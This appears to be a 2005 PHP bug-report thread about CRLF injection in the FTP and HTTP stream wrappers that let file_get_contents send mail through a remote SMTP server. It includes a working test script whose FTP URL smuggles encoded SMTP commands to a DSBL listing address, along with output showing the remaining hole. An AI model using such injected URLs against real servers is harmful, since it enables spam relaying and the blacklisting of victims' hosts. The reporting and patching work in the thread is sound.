Interresting...

"Interresting" was not the word that I used when I found out that my server was blacklisted as a spam machine and my emails where rejected by many mailservers. 

My bot that is written in PHP was trapped in the given exploit.

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Thanks for the patch, however, IMHO the patch should not be applied in the HTTP wrapper to check a redirect but in the FTP wrapper. That way it will also work in the below situation, where PHP is still tricked to send a mail.

  $ftp = 'ftp://foo%0D%0AMAIL%20FROM%3A<>%0D%0ARCPT%20TO%3A<listme%40listme.dsbl.org>%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AvIHU%2FRSZHzlaqPF5ZUxHqE5nj79uL4sg%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:bar@mx.listme.dsbl.org:25/';

  $check = file_get_contents($ftp);

the patch was applied in 2 places, the HTTP redirect handling and FTP wrapper.

I did test both ways before sending my previous comment, PHP stops now a 302 redirect, but the direct FTP way still results in sending a email. (there is a warning "failed to open stream: Operation now in progress" but the email is send)

linux:/home/hgj # cat test.php
<?php

  $http = 'http://dividedsky.net/gfx/badges' ;
  $ftp  = 'ftp://foo%0D%0AMAIL%20FROM%3A&amp;lt;&amp;gt;%0D%0ARCPT%20TO%3A&amp;lt;listme%40listme.dsbl.org&amp;gt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AvIHU%2FRSZHzlaqPF5ZUxHqE5nj79uL4sg%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:bar@mx.listme.dsbl.org:25/';

  $check = getimagesize($http);
  $check = file_get_contents($ftp);

?>

linux:/home/hgj # /usr/local/bin/php --version
PHP 5.0.5-dev (cgi) (built: May  6 2005 20:58:59)
Copyright (c) 1997-2004 The PHP Group
Zend Engine v2.0.4-dev, Copyright (c) 1998-2004 Zend Technologies

linux:/home/hgj # /usr/local/bin/php test.php
Content-type: text/html
X-Powered-By: PHP/5.0.5-dev

<br />
<b>Warning</b>:  getimagesize(http://dividedsky.net/gfx/badges) [<a href='function.getimagesize'>function.getimagesize</a>]: failed to open stream: Invalid redirect url! ftp://foo%0D%0AMAIL%20FROM%3A&amp;lt;&amp;gt;%0D%0ARCPT%20TO%3A&amp;lt;listme%40listme.dsbl.org&amp;gt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AkeiEBtjqp2q0dV13uGVlTPl8xWpobZPF%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:bar@mx.listme.dsbl.org:25/ in <b>/home/hgj/test.php</b> on line <b>6</b><br />
<br />
<b>Warning</b>:  file_get_contents(ftp://...@mx.listme.dsbl.org:25/) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: Operation now in progress in <b>/home/hgj/test.php</b> on line <b>7</b><br />

After a minute or so you can see the result at the dsbl.org website :-) In my case it it is the below url:

http://dsbl.org/listing?82.197.205.88